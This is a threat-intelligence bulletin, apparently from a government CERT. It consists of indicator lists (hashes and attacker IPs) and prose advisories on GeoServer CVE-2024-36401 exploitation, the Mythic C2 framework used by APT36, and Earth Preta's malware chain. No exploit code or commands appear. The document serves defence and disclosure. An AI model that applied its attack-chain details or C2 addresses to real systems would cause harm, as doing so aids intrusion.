75801793b99669b4a90df8a74d45a612bbc7bcd377e69a3cc1b38162c02c61f7

76293dd8eabf25dd053330c0b84b8ecd0d9ca20ee5367104055a9800f9e347f5

76ad1b13914c03658e0f638cfdc69aeb253a46818c0f6363246a899effe11661

76eff9d4c8d95f480fc100bba111951a367317734f60ef0785c3c3991cd7b30e

7731b0f233c5cb4b420cf67303b6b3138cb912f8a1b7d782083261889aa39eca

77e988b5ec54a5111362c238a0539c15e4f68062b9973691ae128e3577b08c5a

78067bab160563c552b2b8cb01c2a46d9145574938cf0458e6ac328bec2de761

781fe9d796088dd12150f3fb76b0ffbb8fd25d1cb0915aa734af4f4f80964296

788119d2fdef28f14a16706025f006caa33bd16878b7643c8e407c85fa89a792

78f19958abe4092261d5697e8557ca77711ddd773a2ea59f613971339ea950b5

7942f161335d0d9eb7d50992581a9eb91654719c2ff7376503bfac28aa0d2009

7aca95106017bed1c4599c754a1b85beb3dbec6dd48105198b29f6c11575481f

7b2107083b6e6122876b2025c34d4c1bb44941614e96b27eb2b0f335adda614b

7c3ec3fcce82f7b3fd8df7b2244fb479dd5ae99327979d26740d198a797cb740

7ca0dff0c03ea6835878049b204863537b2895f4b0d9f075beca1175ac6afd47

7ce05f4e5f12491b5c2dcbf79633e46e3601b46e5d742aa0a26d06236934669d

7ce89728a3cb71486cdb8dc238b839da0579f54254357d1f3652c4a12c946453

7d34d6a7557e9dea224b6a7a09626f94a8424db9534e9b3b8e4334e4af18c6a8

7d3b4a7be862ca4a4fa5de603ccd40c72e7466dd15140a0762faa4703b7e219a

7d661e50e43f6c82d756ba046d92c373d6ef55a8b8dff2150a5186e10c6300a9

7dbb30098b33cd21314bb4ba402b2f3c1ddc8e8aa0f461103400b7a273399ff8

7dc52eeecd427570cbb741eb8b20aec80412110d8f180ca2b65a461047430d45

7dfc5c40d1d2cb53ca19ae411eff3a025cee6f6cc794274fe61fc080d7f2a6ad

7e4e568993c0c0ee7917d56d21b9af2e34bf9fc15bbc17d7098a1868050caba2

8053a8983bd924211b95486af6788f2794e6438435e22d7bb3191ad21e04bc44

825e8659a818ebbf56997e6faf06d2566e765419591993d45f90315be10eb357

8271ca7a44a21cb385142d67a28fbfbf4dac306771fa8ee7359201c1646bf3e4

83464f7c4ddadb8defcfbbf72521683bbf2dbd1313d0a90827bffbcbcaff97d2

84ec253f980f613a371765b1162552d2ec1dc8d7d4b873fbb4beb074ea9c4f04

86125201b63b51ed9306e959ecfb034977e2dfe9897e23e1b5e0d1d05b5968e0

863bb47e262d42554e987d2e2991b69e19391c97b9245351015ffb30e89255d9

864fddea5ba3f2a13bcd383cea248d2aa5cfed6540690933a733f8738928ff07

86c0e433f7e0cb53fd403c4dc57725283ca4115891ccc97a49ad6d98baeeaec5

8701b12670885c1bed3b557a639692593594d22c54d524624b7890d9426b9e3f

8760902babd5a6b2937f506783433241af454addf66c7e2d7bb4845749dc0e05

879b3387f1c394ec5da3555ea9974c8ca9c94eb2e86c34559802912d06c0da52

885cee10a092bc3fb2f6a32f47e546024f6c59db5b6af9b5eb06c826b13a5d9b

896cd71a26701a0b874e7267c2d1b854bff558dd5947188d1d4ec30113f590ea

8ae26b158894bd7209e78c4cbe93350173bede665cfcf28628439fcdfb9af772

8b1ccab23941d752c65ba38059dc734717b273381ef9e206c1286b1bbac9faff

8c1f193b897c29d29a5eb888323594985f7ef16b64937ef305a8f683b64888c4

8cb0a6ef0fe195c5a0765453d838a6b45f7c7d3440f5974d95be92c9a97e5598

8cded2bcfc15d02da4a8aab2ff1f5f59e297b3aadda5e9781d33391dcd462770

8e9b3ababc7cdc1e14330d4629ac7dca0a808c865a6cee85fae2b750217403b8

8eb355ccfbfaed393ef6c1b275b0d2f9ff5d15b983af6ed3bacbb0cd9fe2a70a

8f88ca0e901c8101754f83809ef7f9987151e385c483ab78d63839602f225382

8fda52b438510907b178b354c1da80900fe979ad55025ee03ab4d2db6017a1f5

90073c55eed5c4b8e50cd65f507b553b58f9d17e4ee395cdd7793bf6c7b26f69

9066e33b97ea929976cf63c3b6f92a3658e39bbc843b12175240e218f4907c49

90673490a6d4ccf2254cf7a133ec9fe3f069d14af3817a7592bac11188d9ca1a

9128ee44524237bff435ee75ee67e7dd926ca605ca34061aba43b56d7cacd89f

912ef83257bbb1d719577ed939456714c1f9a003791c91f956733f38c201d51c

920ab6bccf5de97b12204ac1f4ab5b766bd15e987fbf402f4eb9c67f8fdbe8ed

92ffb8a344d548900168cfd406ed717da2082c6870dc4a40fd4ac4e5e7e03f15

932dda23d38abe5e21ca9d868d79505f045a7f91b0f8a132ee98c85b8f3bee19

93868a54f7b5696be02f21349aa415f77d869494f276be4f49990ea64d7dbfaa

9444f9fc8c35164050c49a3f9a71a540b3b4bea880b3691d87fa756df44d37fd

95a5547d64c9bd72766232c3d27b733b4adba192b1958a40aff074b9d4936f64

96a7942f0f2c5462085a54fc8a0eac556e74435620fb49c20e9b27bb08468936

96c0a527ab2e8d0aefeba2b85f12285ef8f4ac106cc18662ace7c3d8970cba7f

96defe0bdf36fe7281e7119ae551ce3a8776d1c243850a882fed78b35883f9da

9747406c8fdd1ac5c32adb26386a88ecb8ae088e4c49f128fd2e17f160255181

97b80cde15d5dec54d29d5735cafe13f77582bab9cd0fa7b2d17a6472043c8d8

985db3c8fe81609e93694125f62aeadca8251d437d6ace12ac9e67933a66c19b

9996bde2427859441ed1fa0b53beb5b13d8cca2010307fb40cac32aec558a39d

99f690a9d48fa4524b7a46da75d20c917c9abb588b2ae7be568fe5bd1fd3248e

9a46301a4bf7d8020951cbe94b1595844577b9a4dda0d582f1c7aeec375cbac9

9a5a75f0960d4ba5b75d23bffaffe26c8113a5e3c40411bd34a60d5786fc4f85

9aa5e0bb72d1ae952e3cd1e608f7c1aea42d5b5add0dbed01c6be893b862aed4

9adf479db230e27b454096c3b3bac231437358ac5e552bfc873a266b7a67752b

9ba058d8f9d7489eaa8db1a4c7b84de2e017a0f7d076f77e680bfd031a51c0e3

9bb9272c28bcae2de89240dca40badddf4b1360dd408546a78235d7d4981bdba

9c0db74c4ec3730fdf9ce280d39cad1b6d6710760a513d73a32e1e729eb30d53

9d352df9c8595e1f325faa498a2fce56aff77caae984c793bedc2de898ac31ea

9e2ceab8a848c569320ec6c5cbf6ee64b29c66fc024935addd0d24767c8b4efe

9e80c78ab4d19827dce42a9c4a0d13f2b03bc87d716037c7fc3e5e9e5758b3b3

9eddac0da8a3c25e2520fcb5581d7867bff4251d30ce952680dd69f269857303

9f039fc4fe0b3dc5ba1b690a1d645e9a00003feaba31388210b26d6c8f549dc8

9f220c0114940569a677dc8eb2575a749ae4685bb59d5e4f993aa690baee55e2

9fc6fde4b0d360547c5969c0572048e80b899e987f6da974f4d70fc48ff0e7b0

9fedcd10a3ae6f854c67450e92226b5967ea1c13be4e160dc2bdd96359ad514f

a02008b2c7df9abbc4a5ee40d63f657523c15c29ad30c285605290709430868c

a0aa3c3a4f3071ce21c92f3e4db78fb7b7445afb11006527f86144becad78206

a1e692e8f8c61ac8a07d1cc705a3bb4d85ede06f79a93a353c4d0041263a24f0

a1fdc8200b3886d988788ba2ac183d24693f6574fa545bafd637e37b1c08dddb

a304bd5fbe96415cc0a820c48d2e901021d71edeed3c5ed60b1c34edb5ef8df8

a40f7b386f042e033637f0a43947f10727096c41b9f7cb7483c30f36256ae3f2

a43f06321a33128d564f3de78fe1ab16f0a8d05903137de09c077db25689ee4e

a4b4424d9f2d13c4538d03e002c72c17d1804a294da74afdb48b2c899d1a05db

a544d2d7f2cf5b9f97884aa6bb746313d0cb4a95730b2d895a305378ec957459

a5ec2631dc7dc3381ed8fcf76c86a3553780e1a58c42560585a13ce042f43090

a768860e536d51b8e7238b29e9f224e6b85207b03c20388bcca6e82269f4beed

a78c02ccdc5a8f75b6c6f9c8e3eb641a98b7ff5f6a832ad4ee487b5a2a5d876a

a7c90211fd825394889359d986c4bbd1088d45051ea1b1ee814af08c1ab1e0f2

a8c36d8c37a3a46b339b79a3d6a6e81774c0709b5f2e0ac8d7f72e80072493d4

ab0151a9b547fcf1148474bdf3a2e73e0cdd460c92c0813369a15ce4ae5dbebc

ac208e86a518460767a62e59023c287a33aeb22dfba3dd43b9b6a3c2137b9c81

acaae84248fb8ff1db4d797bd7d8452fd73e9f47ce746a5050f45f81256c7ced

acc32ca5234697876ce38386b0c770730ad9a0212e603e17ec0863f9858cef6f

aea4f6079b5ce583699c70dfda13840622cdcaaa184d551fe69b0d63e2245d64

af6a9031a4e3c670b5af2897e62830d2d908dbc77febd18bc7a869321b07b00d

afee0372ffb5229d35eb462cd3db5325ab8dec3a909c636d79ddf8ef6318b979

aff043a7c5780309d1b40457f627f8a10327bd33a6962a4379e2c1bef5ea1f90

b0a1ce7111eab1c3b8e27bc55361717e7a5ca86ddc678546c94a10bd4d4c93ed

b0b6d4b0f53f4f0afeb08d2b0fd1b898b7bc1d1a084ead4ae6c517e2e60a2303

b0c7b0b633ee7d8769be2f719c6856865277ae514b697ebf84a04978b9522da6

b208576131e28bd20d765b68b872d203967a8a382a91fb94e63286e46fa05a95

b2b3eb86fc922b466de12973f2eca95d56b947f061a1021d433886da75c1079f

b32c1d7047bbb0a24d320959b95e939f9313d1ad976e76abe74f3ad29fc90bf9

b33a60a452b6d94e229319458869fb642667e3bebed929c7c6c7dd46fde36577

b3d7126a10bf021ea47bbea1f433b036b37ce53e9ef7036dea6e37021070931d

b47f295c26ec129c02c024ba9eee1cb0b1e53d11f0664bdb3c1a0a47096ffd15

b4e2b19d37eff4f95dfe3b398191c699168003f547f6fc28ce14a9d49566cad1

b4ef9962143bbae09a7d50468802790696f4ebd53fb344f633277893cbde8dbb

b52c5712bd49488d6086523a553a83d643e852c6b1262de7f80c3dd2787edb47

b5319024e746b1f4b9a467b4695dbf81c3a704f66c07a0528ac2ecfc73b85133

b5e38860e4030fd4a5068a19910ed8a6a00d36bdfd1f92a6f0fa8c9a332d3577

b62a529be006e5f18b72578e0e2b8c1dc6e50c3bb612af8c7c6b71d44d3045ff

b62ad690ab5ce63fc0248f1b99f7ccca8709350caba929cdf7fb7bc0e1cdebc5

b7d0895f1d7b7c72cc746f2f7976639089d1df80619d14f7bd47b9f0d02194ef

b8480fb922cad48a98b52c4cb148e44a9d68b952de90a9ec76f4abf35a745aee

b939e883e2d3e5f7c5580cc14569fc1d7f935d7ab340d9172dd4c63ae1382da4

b940613da72c544be451253d2dd602b4b186bb524350c1ada1f2a03e4a8eb3e3

b97aac4fcefcb9248ccff3f6f11c049080c9c322ee4fe5558e1dec1e523e8e35

b9829b198f1bdafe888181ac8cabe700068d7b4c20e94376538774e5ee18f964

b98c8644476a116ddd745159e18436b6c5fb9484699ba3695674ccf04e68b662

b9bb2e8ee0b188532a4bf0d493fe79389cce205bd379aaded9e7db560625b253

ba4e65e68d6a1051125432ede7a787db978c9caf81e25a8345edf7d922e7bc7c

bba22e446b79b8db0ec21b8c32e5fe9078d4bdf75632f3f5643b7d21ba110cd4

bbd31c3ed6972f17c74f79fb4b5af266da456876045cc33a19913fffcf44c3f9

bc6104a9425f9c05c1649687dfbf57a845c36b82d3f3befde78fe0c5c222806f

bcdd18f705ebdc9209cf1d4a3c9cd04a91fdf88b47660afd9e492e4033b419bd

bd4dd03acecfed9c622f9cf210f19e14785c97573b2f53ebc87705098ee7ba6e

bf6695438aa4265dbdb06994713580e002eab9f0fb72912998e36060147c9746

c1240d4fea9b638ac724ce8dcff21af0fb40606d08aba6194c41bae4906e2c7c

c240d884cf7e83c3283176ba098cf9eb8a5e92f5269c779e8f85b6a0e610f32e

c31520fafa8409946fbda581b287a23caa73526aa26548422ae74b0d4b20875a

c445cf96abcfce8123eb89507d951564d9f423361bf4d2c51de5c9421854a3d9

c4dffc3a259f076bf31ea0e2e3378b267229d882dd6645de2d2ed2f384bad503

c56f625ab672e8b709d2e274b1a78fdc8f10f0c995ca04e4d04b70178ec3ac9a

c587d7cc3d431caa1011b10cdaf87e7733f4cc38aad39f22d74a88d7405e06f3

c67ef24c607877ae24562577420db898a1654bf8a60d4a0036805ec5b7c4ca89

c68b90af995988ba5cff2756420c949b7c0e8440daf33b9c19f7e78dc7899270

c92c5fde3acfea929d96a3552cab942a6c3aefd6d697476a768cec90468ab07d

c97ace6b4db02d821e5ba8a3000236e846d0442551e8bd1bc8432c95b36b6d16

c9be03ffdaa06d4e8a98c7f1eaf1a302583ff343f4c5bdb6073f1b29d78bf481

ca3b63bb1888448fbdc6585b907fe0b17771065ab56b7e15e0de8f8afece2482

cac920917b1e01ad1abc1e116096a884974f2599f3df1d165563c84d76f6bfae

cc3d57da5cc0cfc9e5a24ab90da2b3bfdaa268680d9b4d48e6b0893a42bd2e2f

ccd66996e30fd72f3e08d82730c829e5140eab05472b5a7f2f6d040cbea7438c

ccd7790b21268c907be6b556ca78d5d4174613b302a5b79c08a4b83f98cfae89

cea8a1ebd6588bd4684fafa4cf2f76c8a27df02b40d7bcfa074bd644a612c2e4

ceca799dd539ae33cbc6d9615941dcfe50f2a783c747c1ba9c17ef26a792927b

cf4f0bbce8028c53d96e21232d8a3672dcd0999165fe28a3dfa75fce2c0c9af2

cfc4944f908be2f8b6a1d163637769e59d38d2b73c2ea234094574696a4cbbe7

d07061318baf0c9cf005c6dc892e3e3f0a3d0bc43dd7e398d4148dd3e101147d

d0c99095a64c3e83e4cb6f70ba8a0055ba2263bff5516e13f71f14af6d383ccc

d1e53953c2ece5777f3ce9de7e8c3db15400bf6e9d7a52f08e41c626a58dc972

d3240e0b99973b9958ab9383a8529a616cbd7e8e7b1c3ab010d696d9f29b3a58

d3583e6b425d621e6741ea2794434bd14ba04416a15fdb1f128493578472340a

d38b50c0de33ffabadcf6cae34e840739a51c4797b3fb68f6c86e74a26bace9b

d5b207eea8a9f493828af97b32a45ca15115dfa2ac0e18811ad31d0e344854fa

d6d659b1a4f4173b893cbe37f855fdf9ccfec2e826d661f6415ba76533eda988

d6fb21289672c175d838d0edaacf10674fbbd439caa527053ca226465985bc49

d721ea2dc7d2535d0b85538be869e8c0da0e89dc9b774a9958718fce1639ce4e

d7d88744304e6388c65507d3115498ccbdff8e9bdd4f647ea94cf3e5c444252f

d8a47060bd2e5537325f54972c1d20c4f35a7b132f21f31eb3be053e09456d44

d8a74ecf9899ca8b9893c1aeacbd22044a7211f9af8ec545f26bb632fef64aa1

d95cddee349667be31bf5c98d74a653d8b259c52f4eb0de1d969e05889602b04

d9a200a6e5d676706978b376d566bf7172303386f50beb04f386ef7a41a21373

dacbdf852f46845562d42febbbfd2dbfd85c40b86a4f40df750dbbd5c49e7bde

dc08ae587cc69d65f8a1a81fef87d288e8e10de8e834a39564eeb21c53f9d044

dc93caeb7bec4d1cc2bad27fffd8d95594c92c39f395b13aea35d2df5244a20d

dd54dbf0e7ec7b41fb89aa6fc3fd864c96c44c624e15b10d5fed36388fdfab1a

dd9376eef7784f63ec063c4559d9475767574aebe160e1ee8cebe5e6a2bd644f

ddc986c0f527571c96f7cedf5bde2ff6d274339a1ffd2ac492f27fc754f3b847

de48dbcd7a3fdf54dfd1aac337867be6e4246c37e43ccc4183c0b145c6018dca

dee172f4fcce2d4b7f0127438af1abb78e0628ddb64286091b240fde5e35b012

e004b1b20fd73431031d3079c71c5bba0ceb5920e7b9f8f03f0bd38267602c1c

e0573c54ec30b8476262b9743fd43a9b64293dbed08ff4360003b15063ff838e

e06f94f527c7324df4c80cecd763f64569c6fae3b2a1fd78fbf8e7a00de9b363

e0cf05d1615b23e8d72a914f1de4b45a9253de6ff009980f500df08de7ce26b4

e159b5cce78ca38814bb2a488bc2faa4735847c23e5156d9653b299ea2ad37c1

e1e9e081c9e730efa06ba1ae1c93a8960f6f7730f902ac824c2835dec901964c

e28aecccd1b0c300d4906129e3615d8b2588c75cffca38ea321fc680975809b2

e323e43a5de0c5313014f7b21bbf8307a84bd5835f34fc1677561ca71efff6f6

e4bff08475dd15c5d59a35474b8ae64ccf81686ffe7263cd148d71932e09d7fe

e590f2ecf44f7f965a1c83cf43b9cec39be6b3a90c555b4d474ab1ebc929f53f

e8a936d8d097545ecc5ee8585930ca0aa454ee414d6d257d5183c8e520e46ee8

e8bbda294bd915fb7e254310729dc952f18a784a741d74dd7837a120899e093e

e9d49cff82cd185de049699122c264aa579649a025944602df09ed0a55f9292a

eb10f4f1477b87b617a3bc18616ab81da898cf7cb1002e23ae9cd85bc2bac418

ebab7e4da285044bd566b33e0b371799d9a2a180f8fb8a2de07f23095d9eeba3

ec089e002f2339db285e95060d5a84d827da635a631b68951999ad56393903fa

ed09f6e61417faf28c966676b77359e3abe8a28a28c8fbe4c72063ddce922eb3

ed3637a7c05d4e4590144a4b4dd6d00989a527f999a28720f7d15c359c2dba05

ed5e50549d1da4c05a9143a75ab15b8ebc78b95350add7faad67cb1fd1b241d0

ef6f40865584cd477e42189a2ee6d02a8fae9fd163bb7d8623ae33b050c1b4db

f027856a4fcbabc4b7133c9d34ec4bcf56207b26d4445e20af779760217468cd

f0616e98a66a8895359d59a95bbc63fc601fc6a272f77a1300652a9f5d146d8b

f07b11a0ca72b08777da76ad52e6cfa9bcd010f3df303ef3c47ac96ad2bd09cb

f2247e3723244c0e8850e829226950693e295e19496254e6c86d57acdaba63fe

f241c9272fd771f13c12661a32de525b997f0060da0c96a4310669922b941993

f4bcd4279b8cc309486cb62b7e9792424bd1f2bc72e09e7d85426bfe67e2a254

f4c4f2310b8dd8644bcda6fa92ea1931eb8b8c3734d55fb6a9b55edf258d86e8

f4e0a7703a18d8c0fc7548c593ae07459a768759275b91c8313c4e45ce6061b7

f6cef1e026d931354a672f75021b5c926af880080cb7bf8a7e6c18e8fe8be0bc

f6d9181e82592a77001b5c97c94f7b92bbfb45785bf2c4755df08b80fd4c3f8c

f829da02d96e229fda9ba8f513819b79faaea923ddb588064e419c3f7116fef4

f94f9a12994d3f8f7f0a7d585f236762c26df8bca97becb4ed9f94f50fce08b3

fa428e19fe949ae0b48b688b6aae0ca57e2929e8c6068544f126959be8aff424

fac019d1c4f35374d31419d039c665c0f927a0c867fe22a82374d3d23ef508fe

fb643b6f4bb5fde0c8424f4398010b87e8063523daefb435b504d1068e040dcc

fbde6d9213c3d6b3910c442b8ed95bc32db5de0ee347f2805010233022624347

fc0cb21f080eb18a8c2c5c9569b6bee02ee4bee945bc5395177582a3c7eb40d7

fc30e368193a17b65ef79207d210a1c49877cc9ccb7b0ee7866ab07ba22d0eee

fc576f4adae50cd7c1202f0c626a5dcbdcf87c54cdbb8feda3d3eeb47d574ac5

fd622db29f06f00fcbdffa1ad1e87ec1153cc1ca2a08a11b297aeb31887ccb4c

fda077ee284c016bd8ec66f2df277c000d6663eb02de0016baeef5c59030853c

fda1b8daed96c3666c154b9b75c01e0042f5e3b137486a8325883124299e4b4a

fe0a8bafc83e810ed9c940b15f0de6e53f55c095ee87c1cd9ec5fd90be7a758d

fe799c643b606649cff5819bdfcc7948ba416bbec2ae84b0d47f0b6b63c40821

ff0274abfc8c5aa53e8ed86b3e3b929d4da216e02ba589abb072843338026985

ff2c11309b9e17c819ef4b2de6ab9069288dfadce641c814e189fda9445cad95

ff84d744457d828bae5332b055d2de1f3347e764aee190273edf1a3bd9261e64

ff90318b189845b4b3f2770aaf55bfcf7403bb07ca32de803afc6547bb130e5a

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-19-003**

It has been observed that threat actors are actively exploiting Remote Code Execution (RCE) vulnerability (CVE-2024-36401) in GeoServer, an open-source Java-based server for sharing and editing geospatial data. Adversaries deliver botnet malware, cryptocurrency miners & backdoor, leveraging IT service providers, technology companies and government entities. Weaponized exploit code for the same is publicly available. Some of the malware being deployed are listed below:

1) GOREVERSE: GOREVERSE is a publicly available reverse shell backdoor written in the GoLang language. It operates over Secure Shell (SSH) and is employed by the China-based threat group UNC5174. The malware facilitates post-exploitation activities by establishing persistent connections with C2 servers, allowing attackers to issue commands and control compromised systems remotely.

2) SIDEWALK: The SideWalk malware family aka ScrambleCross/MOPSLED is a modular backdoor used primarily by the SparklingGoblin APT group. One of the capabilities includes cross-platform capability with both Windows and Linux variants in active use. It uses ChaCha20 encryption and utilizes command-and-control (C2) infrastructure to execute various tasks. The malware shows code similarities with Specter RAT.

3) MIRAI VARIANT (JenX)- It was observed that a script downloaded a file named “sky”, thereafter, the script changed sky’s permissions to make it executable, and was run with the parameter “geo”, and then deleted after execution. The sky file functions as the Mirai variant called JenX. It connects with the C2 domain to receive and execute commands, including launching brute-force attacks and distributed denial of service (DDoS) campaigns.

4) CONDI- Condi functions as a backdoor, enabling threat actors to control compromised systems, exfiltrate data, or deploy additional payloads. It was observed that threat actors used a script to download multiple bot binaries related to Condi. Later, the script changed the binaries’ permissions to make them executable and run them. Condi connects with a C2 server to receive and execute commands, including launching various DDoS attacks.

5) CoinMiner- The CoinMiner malware family belongs to the XMRig variant. The malware's versatility allows it to operate alongside other threats like backdoors and ransomware, showcasing its dual function of financial gain and exploitation within compromised networks. CoinMiner exploited vulnerabilities like CVE-2020-14882 and CVE-2024-36401 to gain initial access to systems, often targeting poorly managed Linux SSH servers through credential stuffing and IP scanning techniques.

Severity: High (CVSS SCORE:9.8)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs

181.214.58.14

47.253.46.11

188.214.27.50

209.146.124.181

95.85.93.196

188.214.27.50

HASH

7d052cffcf97b303d11c5d35fa9bc860155601cdea21e38447401571b35d2db1

b80e9466b7bb42959c29546b8c052e67fcaa0f591857617457d5d28348bd8860

d9e8b390f8e2e8a6c2308c723a6a812f59c055ecad4e9098a120e5c4c65d3905

79c9532fb6ef2742e207498bfe2b2ee09aa9773376ac0e56085083aab17b98be

5cc7e35254347f705422800bfb7fe29c6002e2537f6bac0ff996a720dfb5f48e

fabbb4611fb9df5d8f208d9353be0b73c3942fe78903da096cbfe2f47c9e3566

1588bee7db42495ba7e6e34d217e6b82c5ab93f27c1eea68435cbb9e7792f9be

e8b0f5a952f07c83c4d67809ac0715c7164d518323d8038542e84aab8456db43

3c73ebc7a85accc65c9ee5bf151f70b990e5a12f27a843ca21c0f9d9a10fd17d

9bf642a7e14f0a0b0a784f00a0d1cf590ac60ae5ae378d29d435519f4d9dbf2b

994b924b00fb56e12a6a987c4cdf65dd05a221c47b5fc0a7a2babf1f05c2ed38

c226744b40e8f5d2cf95b4fb2537ff00e222ecc2d24c5096ecfadb14b4a47f97

96cf27a66b629d2b19708c6887441a8422b40dc0e9e7c5c0f2212efe0b6b3323

b3a015b6650ec9800fa878ff9a5f732013806c8dcb0e7069515dae0dd380fda4

50b7e615b8cdc45486b6ed1c1c081c7a92c262edb84318fa864531dcab753f82

f7b97677b6387c1f02d429e98868bf6973a8dec14dfee2516a27e885d6b1c780

b60d7fb66caf103a04e81fb89dbb05111b4b0ef513f3769c8e0a8106ab01a075

a9e7b5284182d3881c865895ee6e0fb03273eec3dcbf4bfc82dd2b069245beae

c3101b0b74d76a95ba91b6cc4945657e928d2dac8fdf926ffbf09031d46e9186

b67ab1b9b66fdc2c4ed1689698a54a347c2bdd6eaff87039ae337675243670d8

83fb74bb852bbd722e6ebc4e249e49cb4bb4194493a26d62d4bfcdfca2998412

53994a35a57970dea48e97009f65ad045b69a83234b771b106446211376a6866

f3d3572ef96c9c59e137425ca6804e1b86b7f8b57210a3724d567017460774de

1af8e068aa7377f0055640af581a412aa9d7288c912a93dd0d739657af0079fb

1abd8cbd64d1d9c8d56b7ea6273ed62e1471f300fabc67dbc2416a48e2faf33d

addccd0ecb643251af2e79e878b19a8e9c8f1c87302e732ef057cdba821f4b30

d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a

8d3440301bc94ed83cdafb69e4b0166d3a0020eb4f38e9fa159c2f13f14b2d29

a13a979f4ca57450528bb6cd7aa2bf47d2eea211053eb1a14b8c4a44fd661831

7194ec436231c2a383ffc7c75eef4f5b5a952c18fa176ffd0830667835a80533

20d97f144bf7b1662a13ac537715126b9b2f68eff46a4a09234743ae236f0177

d72e4cabffc84a31e50caf827b6e579cf6e4932e5cbc528a65a68728ba56b65b

5abf8a52d45f6d5970fab8d1dfd05b6ee7b0ef57df935f45761b89d3522fa592

24e80d66759b1c7a075aeb4fe0321eb6ac49eaf509089fd2882874ec6228d085

7355cc094f2e43e4dd7b8b698b559abe6d2d74cc48f5cfa464424314c6e41944

689504850db842365cd47eadd2d3d42888b9261e7d9e884f14bb7deeb21bb61d

762707f2c7fc4731c4c46ecb3364a4e7ace8984aa899cc57c624b342d3efa03f

4234eb5eb42fbe44d7163c4388d263b3fe57fb1e56bf56152ac352c3fd0beec0

373734730d8414d32883ebbd105c7a7c58397df995759c4e0bd367f2523d302d

d1d25730122f8bc125251832c6af03aedd705dfcc2d9eebcce4371c54bb84b39

3dce929b1c091abac3342788624f1ffa4be5d603eec4d7ab39b604694ac05d22

eb2f95bb2059a3690259f2c0d7537b3cad858869650b9c220d2d81e3720b6dde

2e0e324e36fafe71f5d2bcf521e6415dafbc3f1173ad77f1f3daa77bb581da5f

5d9eb83b4a6f2d49580e1658263eb972be336a2cad15a84561d17d59391191b0

75d7b6264f5a574bc75400c9d57282e9344d8b2df576ad2a36ab7e2575d5a395

e5e5122ba6d0b06f7ed8e57ab5324ae730970c0d23913f27b9ecc9094182c03d

275302d03a4378f1b852e6d783d3181c2899ae0e9ebad4c7160221320863c425

653a4ad0b00e59a01142f899b6aac9712cfb25063b5b9b2e7e3171f7f3a897ed

8fad39ec0671d9b401712ddbc1f24942b2ee2f4865b6ffcd2f019036e03cbade

c8b76b63644d2946fd0af72b48fa59f07a78e1f84464cff5e9b1ca4110e6113e

3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab

c81d4770e812ddc883ead8ff41fd2e5a7d5bc8056521219ccf8784219d1bd819

bf56711bbe0b1dac3b1481d36e7ae2f312da5f404c554c2c45a01fe591b8464d

5c9722d3dc72dbeafec00256887867bad46d347a5fc797d57fc9e0fd317035d3

3369ddc627282eb38346e1a56118026dd3ccdb29b18ffff88ecf3663296ee6da

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-19-004**

Reference is made to earlier advisories on Mythic Malware - APT 36 Campaign.

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Adversary is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

157.245.139.146

206.189.134.185

159.89.165.86

143.198.64.151

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-19-003**

It has been observed that threat group named as "EARTH PRETA" is active in the cyber threat landscape. The campaign uses new tactics using new tools like FDMTP and PTSOCKET and updated malware variants. It also uses a new variant of the HIUPAN worm to spread PUBLOAD through removable drives alongside a fast-paced spearphishing campaign, wherein a malicious “.url” file attachment downloads DOWNBAIT malware, which executes decoy documents and PULLBAIT to load the CBROVER backdoor. CBROVER then installs PLUGX, which continues data collection and exfiltration.

HIUPAN- The PUBLOAD malware, which is a command tool for additional activities including data exfiltration and network spying, is largely distributed by this worm via portable disks. The most recent version of HIUPAN uses DLL side-loading with legitimate apps, namely CocCocUpdate.exe from CocCocBrowser, and is made to be easier to configure.

PUBLOAD- PUBLOAD collects system data and maps the network, compressing the gathered information and prepares it for exfiltration using tools like RAR. It also distributes other malware, such as

PTSOCKET for file exfiltration and FDMTP for downloading more payloads.

FDMTP- It is a downloader tool that uses Duplex Message Transport Protocol (DMTP) to fetch and execute additional malware components.

PTSOCKET- It is a new exfiltration tool that transfers stolen files using TouchSocket over DMTP to support multi-threaded file transfers.

DOWNBAIT is a first-stage downloader malware that serves to retrieve and execute other malicious components, specifically PULLBAIT and CBROVER. It is characterized by its digital signature, which enhances its evasion capabilities against security measures.

